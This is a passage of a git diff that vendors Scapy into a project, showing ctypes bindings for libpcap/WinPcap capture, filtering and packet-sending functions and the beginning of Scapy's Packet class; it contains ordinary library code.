bpf_int32), + ('sigfigs', bpf_u_int32), + ('snaplen', bpf_u_int32), + ('linktype', bpf_u_int32)] + +## struct pcap_pkthdr +## Header of a packet in the dump file. +class pcap_pkthdr(Structure): + _fields_ = [('ts', timeval), + ('caplen', bpf_u_int32), + ('len', bpf_u_int32)] + +## struct pcap_stat +## Structure that keeps statistical values on an interface. +class pcap_stat(Structure): + pass +### _fields_ list in Structure is final. +### We need a temp list +_tmpList = [("ps_recv", c_uint), ("ps_drop", c_uint), ("ps_ifdrop", c_uint)] +if HAVE_REMOTE: + _tmpList.append(("ps_capt",c_uint)) + _tmpList.append(("ps_sent",c_uint)) + _tmpList.append(("ps_netdrop",c_uint)) +pcap_stat._fields_=_tmpList + +## struct pcap_addr +## Representation of an interface address, used by pcap_findalldevs(). +class pcap_addr(Structure): + pass +pcap_addr._fields_ = [('next', POINTER(pcap_addr)), + ('addr', POINTER(sockaddr)), + ('netmask', POINTER(sockaddr)), + ('broadaddr', POINTER(sockaddr)), + ('dstaddr', POINTER(sockaddr))] + +## struct pcap_if +## Item in a list of interfaces, used by pcap_findalldevs(). +class pcap_if(Structure): + pass +pcap_if._fields_ = [('next', POINTER(pcap_if)), + ('name', STRING), + ('description', STRING), + ('addresses', POINTER(pcap_addr)), + ('flags', bpf_u_int32)] + +## +## END Data Structures +## + +## +## Defines +## + +##define PCAP_VERSION_MAJOR 2 +# Major libpcap dump file version. +PCAP_VERSION_MAJOR = 2 +##define PCAP_VERSION_MINOR 4 +# Minor libpcap dump file version. +PCAP_VERSION_MINOR = 4 +##define PCAP_ERRBUF_SIZE 256 +# Size to use when allocating the buffer that contains the libpcap errors. +PCAP_ERRBUF_SIZE = 256 +##define PCAP_IF_LOOPBACK 0x00000001 +# interface is loopback +PCAP_IF_LOOPBACK = 1 +##define MODE_CAPT 0 +# Capture mode, to be used when calling pcap_setmode(). +MODE_CAPT = 0 +##define MODE_STAT 1 +# Statistical mode, to be used when calling pcap_setmode(). +MODE_STAT = 1 + +## +## END Defines +## + +## +## Typedefs +## + +#typedef int bpf_int32 (already defined) +# 32-bit integer +#typedef u_int bpf_u_int32 (already defined) +# 32-bit unsigned integer +#typedef struct pcap pcap_t +# Descriptor of an open capture instance. This structure is opaque to the user, that handles its content through the functions provided by wpcap.dll. # noqa: E501 +pcap_t = pcap +#typedef struct pcap_dumper pcap_dumper_t +# libpcap savefile descriptor. +pcap_dumper_t = pcap_dumper +#typedef struct pcap_if pcap_if_t +# Item in a list of interfaces, see pcap_if. +pcap_if_t = pcap_if +#typedef struct pcap_addr pcap_addr_t +# Representation of an interface address, see pcap_addr. +pcap_addr_t = pcap_addr + +## +## END Typedefs +## + + + + + +# values for enumeration 'pcap_direction_t' +#pcap_direction_t = c_int # enum + +## +## Unix-compatible Functions +## These functions are part of the libpcap library, and therefore work both on Windows and on Linux. # noqa: E501 +## + +#typedef void(* pcap_handler )(u_char *user, const struct pcap_pkthdr *pkt_header, const u_char *pkt_data) # noqa: E501 +# Prototype of the callback function that receives the packets. +## This one is defined from programmer +pcap_handler=CFUNCTYPE(None,POINTER(c_ubyte),POINTER(pcap_pkthdr),POINTER(c_ubyte)) # noqa: E501 + +#pcap_t * pcap_open_live (const char *device, int snaplen, int promisc, int to_ms, char *ebuf) # noqa: E501 +# Open a live capture from the network. +pcap_open_live = _lib.pcap_open_live +pcap_open_live.restype = POINTER(pcap_t) +pcap_open_live.argtypes = [STRING, c_int, c_int, c_int, STRING] + +#pcap_t * pcap_open_dead (int linktype, int snaplen) +# Create a pcap_t structure without starting a capture. +pcap_open_dead = _lib.pcap_open_dead +pcap_open_dead.restype = POINTER(pcap_t) +pcap_open_dead.argtypes = [c_int, c_int] + +#pcap_t * pcap_open_offline (const char *fname, char *errbuf) +# Open a savefile in the tcpdump/libpcap format to read packets. +pcap_open_offline = _lib.pcap_open_offline +pcap_open_offline.restype = POINTER(pcap_t) +pcap_open_offline.argtypes = [STRING, STRING] + +try: # NPCAP ONLY function + #int pcap_set_rfmon (pcap_t *p) + # sets whether monitor mode should be set on a capture handle when the handle is activated. # noqa: E501 + pcap_set_rfmon = _lib.pcap_set_rfmon + pcap_set_rfmon.restype = c_int + pcap_set_rfmon.argtypes = [POINTER(pcap_t), c_int] + + #int pcap_create (pcap_t *p) + # create a packet capture handle to look at packets on the network. + pcap_create = _lib.pcap_create + pcap_create.restype = POINTER(pcap_t) + pcap_create.argtypes = [STRING, STRING] + + #int pcap_set_snaplen(pcap_t *p, int snaplen) + # set the snapshot length for a not-yet-activated capture handle + pcap_set_snaplen = _lib.pcap_set_snaplen + pcap_set_snaplen.restype = c_int + pcap_set_snaplen.argtypes = [POINTER(pcap_t), c_int] + + #int pcap_set_promisc(pcap_t *p, int promisc) + # set promiscuous mode for a not-yet-activated capture handle + pcap_set_promisc = _lib.pcap_set_promisc + pcap_set_promisc.restype = c_int + pcap_set_promisc.argtypes = [POINTER(pcap_t), c_int] + + #int pcap_set_timeout(pcap_t *p, int to_ms) + # set the packet buffer timeout for a not-yet-activated capture handle + pcap_set_timeout = _lib.pcap_set_timeout + pcap_set_timeout.restype = c_int + pcap_set_timeout.argtypes = [POINTER(pcap_t), c_int] + + #int pcap_activate(pcap_t *p) + # activate a capture handle + pcap_activate = _lib.pcap_activate + pcap_activate.restype = c_int + pcap_activate.argtypes = [POINTER(pcap_t)] +except AttributeError: + pass + +#pcap_dumper_t * pcap_dump_open (pcap_t *p, const char *fname) +# Open a file to write packets. +pcap_dump_open = _lib.pcap_dump_open +pcap_dump_open.restype = POINTER(pcap_dumper_t) +pcap_dump_open.argtypes = [POINTER(pcap_t), STRING] + +#int pcap_setnonblock (pcap_t *p, int nonblock, char *errbuf) +# Switch between blocking and nonblocking mode. +pcap_setnonblock = _lib.pcap_setnonblock +pcap_setnonblock.restype = c_int +pcap_setnonblock.argtypes = [POINTER(pcap_t), c_int, STRING] + +#int pcap_getnonblock (pcap_t *p, char *errbuf) +# Get the "non-blocking" state of an interface. +pcap_getnonblock = _lib.pcap_getnonblock +pcap_getnonblock.restype = c_int +pcap_getnonblock.argtypes = [POINTER(pcap_t), STRING] + +#int pcap_findalldevs (pcap_if_t **alldevsp, char *errbuf) +# Construct a list of network devices that can be opened with pcap_open_live(). # noqa: E501 +pcap_findalldevs = _lib.pcap_findalldevs +pcap_findalldevs.restype = c_int +pcap_findalldevs.argtypes = [POINTER(POINTER(pcap_if_t)), STRING] + +#void pcap_freealldevs (pcap_if_t *alldevsp) +# Free an interface list returned by pcap_findalldevs(). +pcap_freealldevs = _lib.pcap_freealldevs +pcap_freealldevs.restype = None +pcap_freealldevs.argtypes = [POINTER(pcap_if_t)] + +#char * pcap_lookupdev (char *errbuf) +# Return the first valid device in the system. +pcap_lookupdev = _lib.pcap_lookupdev +pcap_lookupdev.restype = STRING +pcap_lookupdev.argtypes = [STRING] + +#int pcap_lookupnet (const char *device, bpf_u_int32 *netp, bpf_u_int32 *maskp, char *errbuf) # noqa: E501 +# Return the subnet and netmask of an interface. +pcap_lookupnet = _lib.pcap_lookupnet +pcap_lookupnet.restype = c_int +pcap_lookupnet.argtypes = [STRING, POINTER(bpf_u_int32), POINTER(bpf_u_int32), STRING] # noqa: E501 + +#int pcap_dispatch (pcap_t *p, int cnt, pcap_handler callback, u_char *user) +# Collect a group of packets. +pcap_dispatch = _lib.pcap_dispatch +pcap_dispatch.restype = c_int +pcap_dispatch.argtypes = [POINTER(pcap_t), c_int, pcap_handler, POINTER(u_char)] # noqa: E501 + +#int pcap_loop (pcap_t *p, int cnt, pcap_handler callback, u_char *user) +# Collect a group of packets. +pcap_loop = _lib.pcap_loop +pcap_loop.restype = c_int +pcap_loop.argtypes = [POINTER(pcap_t), c_int, pcap_handler, POINTER(u_char)] + +#u_char * pcap_next (pcap_t *p, struct pcap_pkthdr *h) +# Return the next available packet. +pcap_next = _lib.pcap_next +pcap_next.restype = POINTER(u_char) +pcap_next.argtypes = [POINTER(pcap_t), POINTER(pcap_pkthdr)] + +#int pcap_next_ex (pcap_t *p, struct pcap_pkthdr **pkt_header, const u_char **pkt_data) # noqa: E501 +# Read a packet from an interface or from an offline capture. +pcap_next_ex = _lib.pcap_next_ex +pcap_next_ex.restype = c_int +pcap_next_ex.argtypes = [POINTER(pcap_t), POINTER(POINTER(pcap_pkthdr)), POINTER(POINTER(u_char))] # noqa: E501 + +#void pcap_breakloop (pcap_t *) +# set a flag that will force pcap_dispatch() or pcap_loop() to return rather than looping. # noqa: E501 +pcap_breakloop = _lib.pcap_breakloop +pcap_breakloop.restype = None +pcap_breakloop.argtypes = [POINTER(pcap_t)] + +#int pcap_sendpacket (pcap_t *p, u_char *buf, int size) +# Send a raw packet. +pcap_sendpacket = _lib.pcap_sendpacket +pcap_sendpacket.restype = c_int +#pcap_sendpacket.argtypes = [POINTER(pcap_t), POINTER(u_char), c_int] +pcap_sendpacket.argtypes = [POINTER(pcap_t), c_void_p, c_int] + +#void pcap_dump (u_char *user, const struct pcap_pkthdr *h, const u_char *sp) +# Save a packet to disk. +pcap_dump = _lib.pcap_dump +pcap_dump.restype = None +pcap_dump.argtypes = [POINTER(pcap_dumper_t), POINTER(pcap_pkthdr), POINTER(u_char)] # noqa: E501 + +#long pcap_dump_ftell (pcap_dumper_t *) +# Return the file position for a "savefile". +pcap_dump_ftell = _lib.pcap_dump_ftell +pcap_dump_ftell.restype = c_long +pcap_dump_ftell.argtypes = [POINTER(pcap_dumper_t)] + +#int pcap_compile (pcap_t *p, struct bpf_program *fp, char *str, int optimize, bpf_u_int32 netmask) # noqa: E501 +# Compile a packet filter, converting an high level filtering expression (see Filtering expression syntax) in a program that can be interpreted by the kernel-level filtering engine. # noqa: E501 +pcap_compile = _lib.pcap_compile +pcap_compile.restype = c_int +pcap_compile.argtypes = [POINTER(pcap_t), POINTER(bpf_program), STRING, c_int, bpf_u_int32] # noqa: E501 + +#int pcap_compile_nopcap (int snaplen_arg, int linktype_arg, struct bpf_program *program, char *buf, int optimize, bpf_u_int32 mask) # noqa: E501 +# Compile a packet filter without the need of opening an adapter. This function converts an high level filtering expression (see Filtering expression syntax) in a program that can be interpreted by the kernel-level filtering engine. # noqa: E501 +pcap_compile_nopcap = _lib.pcap_compile_nopcap +pcap_compile_nopcap.restype = c_int +pcap_compile_nopcap.argtypes = [c_int, c_int, POINTER(bpf_program), STRING, c_int, bpf_u_int32] # noqa: E501 + +#int pcap_setfilter (pcap_t *p, struct bpf_program *fp) +# Associate a filter to a capture. +pcap_setfilter = _lib.pcap_setfilter +pcap_setfilter.restype = c_int +pcap_setfilter.argtypes = [POINTER(pcap_t), POINTER(bpf_program)] + +#void pcap_freecode (struct bpf_program *fp) +# Free a filter. +pcap_freecode = _lib.pcap_freecode +pcap_freecode.restype = None +pcap_freecode.argtypes = [POINTER(bpf_program)] + +#int pcap_datalink (pcap_t *p) +# Return the link layer of an adapter. +pcap_datalink = _lib.pcap_datalink +pcap_datalink.restype = c_int +pcap_datalink.argtypes = [POINTER(pcap_t)] + +#int pcap_list_datalinks (pcap_t *p, int **dlt_buf) +# list datalinks +pcap_list_datalinks = _lib.pcap_list_datalinks +pcap_list_datalinks.restype = c_int +#pcap_list_datalinks.argtypes = [POINTER(pcap_t), POINTER(POINTER(c_int))] + +#int pcap_set_datalink (pcap_t *p, int dlt) +# Set the current data link type of the pcap descriptor to the type specified by dlt. -1 is returned on failure. # noqa: E501 +pcap_set_datalink = _lib.pcap_set_datalink +pcap_set_datalink.restype = c_int +pcap_set_datalink.argtypes = [POINTER(pcap_t), c_int] + +#int pcap_datalink_name_to_val (const char *name) +# Translates a data link type name, which is a DLT_ name with the DLT_ removed, to the corresponding data link type value. The translation is case-insensitive. -1 is returned on failure. # noqa: E501 +pcap_datalink_name_to_val = _lib.pcap_datalink_name_to_val +pcap_datalink_name_to_val.restype = c_int +pcap_datalink_name_to_val.argtypes = [STRING] + +#const char * pcap_datalink_val_to_name (int dlt) +# Translates a data link type value to the corresponding data link type name. NULL is returned on failure. # noqa: E501 +pcap_datalink_val_to_name = _lib.pcap_datalink_val_to_name +pcap_datalink_val_to_name.restype = STRING +pcap_datalink_val_to_name.argtypes = [c_int] + +#const char * pcap_datalink_val_to_description (int dlt) +# Translates a data link type value to a short description of that data link type. NULL is returned on failure. # noqa: E501 +pcap_datalink_val_to_description = _lib.pcap_datalink_val_to_description +pcap_datalink_val_to_description.restype = STRING +pcap_datalink_val_to_description.argtypes = [c_int] + +#int pcap_snapshot (pcap_t *p) +# Return the dimension of the packet portion (in bytes) that is delivered to the application. # noqa: E501 +pcap_snapshot = _lib.pcap_snapshot +pcap_snapshot.restype = c_int +pcap_snapshot.argtypes = [POINTER(pcap_t)] + +#int pcap_is_swapped (pcap_t *p) +# returns true if the current savefile uses a different byte order than the current system. # noqa: E501 +pcap_is_swapped = _lib.pcap_is_swapped +pcap_is_swapped.restype = c_int +pcap_is_swapped.argtypes = [POINTER(pcap_t)] + +#int pcap_major_version (pcap_t *p) +# return the major version number of the pcap library used to write the savefile. # noqa: E501 +pcap_major_version = _lib.pcap_major_version +pcap_major_version.restype = c_int +pcap_major_version.argtypes = [POINTER(pcap_t)] + +#int pcap_minor_version (pcap_t *p) +# return the minor version number of the pcap library used to write the savefile. # noqa: E501 +pcap_minor_version = _lib.pcap_minor_version +pcap_minor_version.restype = c_int +pcap_minor_version.argtypes = [POINTER(pcap_t)] + +#FILE * pcap_file (pcap_t *p) +# Return the standard stream of an offline capture. +pcap_file=_lib.pcap_file +pcap_file.restype = FILE +pcap_file.argtypes = [POINTER(pcap_t)] + +#int pcap_stats (pcap_t *p, struct pcap_stat *ps) +# Return statistics on current capture. +pcap_stats = _lib.pcap_stats +pcap_stats.restype = c_int +pcap_stats.argtypes = [POINTER(pcap_t), POINTER(pcap_stat)] + +#void pcap_perror (pcap_t *p, char *prefix) +# print the text of the last pcap library error on stderr, prefixed by prefix. # noqa: E501 +pcap_perror = _lib.pcap_perror +pcap_perror.restype = None +pcap_perror.argtypes = [POINTER(pcap_t), STRING] + +#char * pcap_geterr (pcap_t *p) +# return the error text pertaining to the last pcap library error. +pcap_geterr = _lib.pcap_geterr +pcap_geterr.restype = STRING +pcap_geterr.argtypes = [POINTER(pcap_t)] + +#char * pcap_strerror (int error) +# Provided in case strerror() isn't available. +pcap_strerror = _lib.pcap_strerror +pcap_strerror.restype = STRING +pcap_strerror.argtypes = [c_int] + +#const char * pcap_lib_version (void) +# Returns a pointer to a string giving information about the version of the libpcap library being used; note that it contains more information than just a version number. # noqa: E501 +pcap_lib_version = _lib.pcap_lib_version +pcap_lib_version.restype = STRING +pcap_lib_version.argtypes = [] + +#void pcap_close (pcap_t *p) +# close the files associated with p and deallocates resources. +pcap_close = _lib.pcap_close +pcap_close.restype = None +pcap_close.argtypes = [POINTER(pcap_t)] + +#FILE * pcap_dump_file (pcap_dumper_t *p) +# return the standard I/O stream of the 'savefile' opened by pcap_dump_open(). # noqa: E501 +pcap_dump_file=_lib.pcap_dump_file +pcap_dump_file.restype=FILE +pcap_dump_file.argtypes= [POINTER(pcap_dumper_t)] + +#int pcap_dump_flush (pcap_dumper_t *p) +# Flushes the output buffer to the ``savefile,'' so that any packets written with pcap_dump() but not yet written to the ``savefile'' will be written. -1 is returned on error, 0 on success. # noqa: E501 +pcap_dump_flush = _lib.pcap_dump_flush +pcap_dump_flush.restype = c_int +pcap_dump_flush.argtypes = [POINTER(pcap_dumper_t)] + +#void pcap_dump_close (pcap_dumper_t *p) +# Closes a savefile. +pcap_dump_close = _lib.pcap_dump_close +pcap_dump_close.restype = None +pcap_dump_close.argtypes = [POINTER(pcap_dumper_t)] + +if not WINDOWS: + #int pcap_get_selectable_fd(pcap_t, *p) + # Returns, on UNIX, a file descriptor number for a file descriptor on which one can do a select(), poll(). -1 is returned if no such descriptor exists. # noqa: E501 + pcap_get_selectable_fd = _lib.pcap_get_selectable_fd + pcap_get_selectable_fd.restype = c_int + pcap_get_selectable_fd.argtypes = [POINTER(pcap_t)] + +########################################### +## Windows-specific Extensions +## The functions in this section extend libpcap to offer advanced functionalities # noqa: E501 +## (like remote packet capture, packet buffer size variation or high-precision packet injection). # noqa: E501 +## However, at the moment they can be used only in Windows. +########################################### +if WINDOWS: + HANDLE = c_void_p + + ############## + ## Identifiers related to the new source syntax + ############## + #define PCAP_SRC_FILE 2 + #define PCAP_SRC_IFLOCAL 3 + #define PCAP_SRC_IFREMOTE 4 + #Internal representation of the type of source in use (file, remote/local interface). # noqa: E501 + PCAP_SRC_FILE = 2 + PCAP_SRC_IFLOCAL = 3 + PCAP_SRC_IFREMOTE = 4 + + ############## + ## Strings related to the new source syntax + ############## + #define PCAP_SRC_FILE_STRING "file://" + #define PCAP_SRC_IF_STRING "rpcap://" + #String that will be used to determine the type of source in use (file, remote/local interface). # noqa: E501 + PCAP_SRC_FILE_STRING="file://" + PCAP_SRC_IF_STRING="rpcap://" + + ############## + ## Flags defined in the pcap_open() function + ############## + # define PCAP_OPENFLAG_PROMISCUOUS 1 + # Defines if the adapter has to go in promiscuous mode. + PCAP_OPENFLAG_PROMISCUOUS=1 + # define PCAP_OPENFLAG_DATATX_UDP 2 + # Defines if the data transfer (in case of a remote capture) has to be done with UDP protocol. # noqa: E501 + PCAP_OPENFLAG_DATATX_UDP=2 + # define PCAP_OPENFLAG_NOCAPTURE_RPCAP 4 + PCAP_OPENFLAG_NOCAPTURE_RPCAP=4 + # Defines if the remote probe will capture its own generated traffic. + # define PCAP_OPENFLAG_NOCAPTURE_LOCAL 8 + PCAP_OPENFLAG_NOCAPTURE_LOCAL = 8 + # define PCAP_OPENFLAG_MAX_RESPONSIVENESS 16 + # This flag configures the adapter for maximum responsiveness. + PCAP_OPENFLAG_MAX_RESPONSIVENESS=16 + + ############## + ## Sampling methods defined in the pcap_setsampling() function + ############## + # define PCAP_SAMP_NOSAMP 0 + # No sampling has to be done on the current capture. + PCAP_SAMP_NOSAMP=0 + # define PCAP_SAMP_1_EVERY_N 1 + # It defines that only 1 out of N packets must be returned to the user. + PCAP_SAMP_1_EVERY_N=1 + #define PCAP_SAMP_FIRST_AFTER_N_MS 2 + # It defines that we have to return 1 packet every N milliseconds. + PCAP_SAMP_FIRST_AFTER_N_MS=2 + + ############## + ## Authentication methods supported by the RPCAP protocol + ############## + # define RPCAP_RMTAUTH_NULL 0 + # It defines the NULL authentication. + RPCAP_RMTAUTH_NULL=0 + # define RPCAP_RMTAUTH_PWD 1 + # It defines the username/password authentication. + RPCAP_RMTAUTH_PWD=1 + + + ############## + ## Remote struct and defines + ############## + # define PCAP_BUF_SIZE 1024 + # Defines the maximum buffer size in which address, port, interface names are kept. # noqa: E501 + PCAP_BUF_SIZE = 1024 + # define RPCAP_HOSTLIST_SIZE 1024 + # Maximum length of an host name (needed for the RPCAP active mode). + RPCAP_HOSTLIST_SIZE = 1024 + + class pcap_send_queue(Structure): + _fields_=[("maxlen",c_uint), + ("len",c_uint), + ("buffer",c_char_p)] + + ## struct pcap_rmtauth + ## This structure keeps the information needed to autheticate the user on a remote machine # noqa: E501 + class pcap_rmtauth(Structure): + _fields_=[("type",c_int), + ("username",c_char_p), + ("password",c_char_p)] + + ## struct pcap_samp + ## This structure defines the information related to sampling + class pcap_samp(Structure): + _fields_=[("method",c_int), + ("value",c_int)] + + #PAirpcapHandle pcap_get_airpcap_handle (pcap_t *p) + # Returns the AirPcap handler associated with an adapter. This handler can be used to change the wireless-related settings of the CACE Technologies AirPcap wireless capture adapters. # noqa: E501 + + #bool pcap_offline_filter (struct bpf_program *prog, const struct pcap_pkthdr *header, const u_char *pkt_data) # noqa: E501 + # Returns if a given filter applies to an offline packet. + pcap_offline_filter = _lib.pcap_offline_filter + pcap_offline_filter.restype = c_bool + pcap_offline_filter.argtypes = [POINTER(bpf_program),POINTER(pcap_pkthdr),POINTER(u_char)] # noqa: E501 + + #int pcap_live_dump (pcap_t *p, char *filename, int maxsize, int maxpacks) + # Save a capture to file. + pcap_live_dump = _lib.pcap_live_dump + pcap_live_dump.restype = c_int + pcap_live_dump.argtypes = [POINTER(pcap_t), POINTER(c_char), c_int,c_int] + + #int pcap_live_dump_ended (pcap_t *p, int sync) + # Return the status of the kernel dump process, i.e. tells if one of the limits defined with pcap_live_dump() has been reached. # noqa: E501 + pcap_live_dump_ended = _lib.pcap_live_dump_ended + pcap_live_dump_ended.restype = c_int + pcap_live_dump_ended.argtypes = [POINTER(pcap_t), c_int] + + #struct pcap_stat * pcap_stats_ex (pcap_t *p, int *pcap_stat_size) + # Return statistics on current capture. + pcap_stats_ex = _lib.pcap_stats_ex + pcap_stats_ex.restype = POINTER(pcap_stat) + pcap_stats_ex.argtypes = [POINTER(pcap_t), POINTER(c_int)] + + #int pcap_setbuff (pcap_t *p, int dim) + # Set the size of the kernel buffer associated with an adapter. + pcap_setbuff = _lib.pcap_setbuff + pcap_setbuff.restype = c_int + pcap_setbuff.argtypes = [POINTER(pcap_t), c_int] + + #int pcap_setmode (pcap_t *p, int mode) + # Set the working mode of the interface p to mode. + pcap_setmode = _lib.pcap_setmode + pcap_setmode.restype = c_int + pcap_setmode.argtypes = [POINTER(pcap_t), c_int] + + #int pcap_setmintocopy (pcap_t *p, int size) + # Set the minimum amount of data received by the kernel in a single call. + pcap_setmintocopy = _lib.pcap_setmintocopy + pcap_setmintocopy.restype = c_int + pcap_setmintocopy.argtype = [POINTER(pcap_t), c_int] + + #HANDLE pcap_getevent (pcap_t *p) + # Return the handle of the event associated with the interface p. + pcap_getevent = _lib.pcap_getevent + pcap_getevent.restype = HANDLE + pcap_getevent.argtypes = [POINTER(pcap_t)] + + #pcap_send_queue * pcap_sendqueue_alloc (u_int memsize) + # Allocate a send queue. + pcap_sendqueue_alloc = _lib.pcap_sendqueue_alloc + pcap_sendqueue_alloc.restype = POINTER(pcap_send_queue) + pcap_sendqueue_alloc.argtypes = [c_uint] + + #void pcap_sendqueue_destroy (pcap_send_queue *queue) + # Destroy a send queue. + pcap_sendqueue_destroy = _lib.pcap_sendqueue_destroy + pcap_sendqueue_destroy.restype = None + pcap_sendqueue_destroy.argtypes = [POINTER(pcap_send_queue)] + + #int pcap_sendqueue_queue (pcap_send_queue *queue, const struct pcap_pkthdr *pkt_header, const u_char *pkt_data) # noqa: E501 + # Add a packet to a send queue. + pcap_sendqueue_queue = _lib.pcap_sendqueue_queue + pcap_sendqueue_queue.restype = c_int + pcap_sendqueue_queue.argtypes = [POINTER(pcap_send_queue), POINTER(pcap_pkthdr), POINTER(u_char)] # noqa: E501 + + #u_int pcap_sendqueue_transmit (pcap_t *p, pcap_send_queue *queue, int sync) # noqa: E501 + # Send a queue of raw packets to the network. + pcap_sendqueue_transmit = _lib.pcap_sendqueue_transmit + pcap_sendqueue_transmit.retype = u_int + pcap_sendqueue_transmit.argtypes = [POINTER(pcap_t), POINTER(pcap_send_queue), c_int] # noqa: E501 + + #int pcap_findalldevs_ex (char *source, struct pcap_rmtauth *auth, pcap_if_t **alldevs, char *errbuf) # noqa: E501 + # Create a list of network devices that can be opened with pcap_open(). + pcap_findalldevs_ex = _lib.pcap_findalldevs_ex + pcap_findalldevs_ex.retype = c_int + pcap_findalldevs_ex.argtypes = [STRING, POINTER(pcap_rmtauth), POINTER(POINTER(pcap_if_t)), STRING] # noqa: E501 + + #int pcap_createsrcstr (char *source, int type, const char *host, const char *port, const char *name, char *errbuf) # noqa: E501 + # Accept a set of strings (host name, port, ...), and it returns the complete source string according to the new format (e.g. 'rpcap://1.2.3.4/eth0'). # noqa: E501 + pcap_createsrcstr = _lib.pcap_createsrcstr + pcap_createsrcstr.restype = c_int + pcap_createsrcstr.argtypes = [STRING, c_int, STRING, STRING, STRING, STRING] # noqa: E501 + + #int pcap_parsesrcstr (const char *source, int *type, char *host, char *port, char *name, char *errbuf) # noqa: E501 + # Parse the source string and returns the pieces in which the source can be split. # noqa: E501 + pcap_parsesrcstr = _lib.pcap_parsesrcstr + pcap_parsesrcstr.retype = c_int + pcap_parsesrcstr.argtypes = [STRING, POINTER(c_int), STRING, STRING, STRING, STRING] # noqa: E501 + + #pcap_t * pcap_open (const char *source, int snaplen, int flags, int read_timeout, struct pcap_rmtauth *auth, char *errbuf) # noqa: E501 + # Open a generic source in order to capture / send (WinPcap only) traffic. # noqa: E501 + pcap_open = _lib.pcap_open + pcap_open.restype = POINTER(pcap_t) + pcap_open.argtypes = [STRING, c_int, c_int, c_int, POINTER(pcap_rmtauth), STRING] # noqa: E501 + + #struct pcap_samp * pcap_setsampling (pcap_t *p) + # Define a sampling method for packet capture. + pcap_setsampling = _lib.pcap_setsampling + pcap_setsampling.restype = POINTER(pcap_samp) + pcap_setsampling.argtypes = [POINTER(pcap_t)] + + #SOCKET pcap_remoteact_accept (const char *address, const char *port, const char *hostlist, char *connectinghost, struct pcap_rmtauth *auth, char *errbuf) # noqa: E501 + # Block until a network connection is accepted (active mode only). + pcap_remoteact_accept = _lib.pcap_remoteact_accept + pcap_remoteact_accept.restype = SOCKET + pcap_remoteact_accept.argtypes = [STRING, STRING, STRING, STRING, POINTER(pcap_rmtauth), STRING] # noqa: E501 + + #int pcap_remoteact_close (const char *host, char *errbuf) + # Drop an active connection (active mode only). + pcap_remoteact_close = _lib.pcap_remoteact_close + pcap_remoteact_close.restypes = c_int + pcap_remoteact_close.argtypes = [STRING, STRING] + + #void pcap_remoteact_cleanup () + # Clean the socket that is currently used in waiting active connections. + pcap_remoteact_cleanup = _lib.pcap_remoteact_cleanup + pcap_remoteact_cleanup.restypes = None + pcap_remoteact_cleanup.argtypes = [] + + #int pcap_remoteact_list (char *hostlist, char sep, int size, char *errbuf) + # Return the hostname of the host that have an active connection with us (active mode only). # noqa: E501 + pcap_remoteact_list = _lib.pcap_remoteact_list + pcap_remoteact_list.restype = c_int + pcap_remoteact_list.argtypes = [STRING, c_char, c_int, STRING] diff --git a/libs/scapy/packet.py b/libs/scapy/packet.py new file mode 100755 index 0000000..07ba2d9 --- /dev/null +++ b/libs/scapy/packet.py @@ -0,0 +1,2275 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +Packet class + +Provides: + - the default Packet classes + - binding mechanisms + - fuzz() method + - exploration methods: explore() / ls() +""" + +from __future__ import absolute_import +from __future__ import print_function +from collections import defaultdict +import re +import time +import itertools +import copy +import types +import warnings + +from scapy.fields import StrField, ConditionalField, Emph, PacketListField, \ + BitField, MultiEnumField, EnumField, FlagsField, MultipleTypeField +from scapy.config import conf, _version_checker +from scapy.compat import raw, orb, bytes_encode +from scapy.base_classes import BasePacket, Gen, SetGen, Packet_metaclass, \ + _CanvasDumpExtended +from scapy.volatile import RandField, VolatileValue +from scapy.utils import import_hexcap, tex_escape, colgen, issubtype, \ + pretty_list +from scapy.error import Scapy_Exception, log_runtime, warning +from scapy.extlib import PYX +import scapy.modules.six as six + +try: + import pyx +except ImportError: + pass + + +class RawVal: + def __init__(self, val=""): + self.val = val + + def __str__(self): + return str(self.val) + + def __bytes__(self): + return raw(self.val) + + def __repr__(self): + return "" % self.val + + +class Packet(six.with_metaclass(Packet_metaclass, BasePacket, + _CanvasDumpExtended)): + __slots__ = [ + "time", "sent_time", "name", + "default_fields", "fields", "fieldtype", + "overload_fields", "overloaded_fields", + "packetfields", + "original", "explicit", "raw_packet_cache", + "raw_packet_cache_fields", "_pkt", "post_transforms", + # then payload and underlayer + "payload", "underlayer", + "name", + # used for sr() + "_answered", + # used when sniffing + "direction", "sniffed_on", + # handle snaplen Vs real length + "wirelen", + ] + name = None + fields_desc = [] + deprecated_fields = {} + overload_fields = {} + payload_guess = [] + show_indent = 1 + show_summary = True + match_subclass = False + class_dont_cache = dict() + class_packetfields = dict() + class_default_fields = dict() + class_default_fields_ref = dict() + class_fieldtype = dict() + + @classmethod + def from_hexcap(cls): + return cls(import_hexcap()) + + @classmethod + def upper_bonds(self): + for fval, upper in self.payload_guess: + print("%-20s %s" % (upper.__name__, ", ".join("%-12s" % ("%s=%r" % i) for i in six.iteritems(fval)))) # noqa: E501 + + @classmethod + def lower_bonds(self): + for lower, fval in six.iteritems(self._overload_fields): + print("%-20s %s" % (lower.__name__, ", ".join("%-12s" % ("%s=%r" % i) for i in six.iteritems(fval)))) # noqa: E501 + + def _unpickle(self, dlist): + """Used to unpack pickling""" + self.__init__(b"".join(dlist)) + return self + + def __reduce__(self): + """Used by pickling methods""" + return (self.__class__, (), (self.build(),)) + + def __reduce_ex__(self, proto): + """Used by pickling methods""" + return self.__reduce__() + + def __getstate__(self): + """Mark object as pickable""" + return self.__reduce__()[2] + + def __setstate__(self, state): + """Rebuild state using pickable methods""" + return self._unpickle(state) + + def __deepcopy__(self, memo): + """Used by copy.deepcopy""" + return self.copy() + + def __init__(self, _pkt=b"", post_transform=None, _internal=0, _underlayer=None, **fields): # noqa: E501 + self.time = time.time() + self.sent_time = None + self.name = (self.__class__.__name__ + if self._name is None else + self._name) + self.default_fields = {} + self.overload_fields = self._overload_fields + self.overloaded_fields = {} + self.fields = {} + self.fieldtype = {} + self.packetfields = [] + self.payload = NoPayload() + self.init_fields() + self.underlayer = _underlayer + self.original = _pkt + self.explicit = 0 + self.raw_packet_cache = None + self.raw_packet_cache_fields = None + self.wirelen = None + if _pkt: + self.dissect(_pkt) + if not _internal: + self.dissection_done(self) + # We use this strange initialization so that the fields + # are initialized in their declaration order. + # It is required to always support MultipleTypeField + for field in self.fields_desc: + fname = field.name + try: + value = fields.pop(fname) + except KeyError: + continue + self.fields[fname] = self.get_field(fname).any2i(self, value) + # The remaining fields are unknown + for fname in fields: + if fname in self.deprecated_fields: + # Resolve deprecated fields + value = fields[fname] + fname = 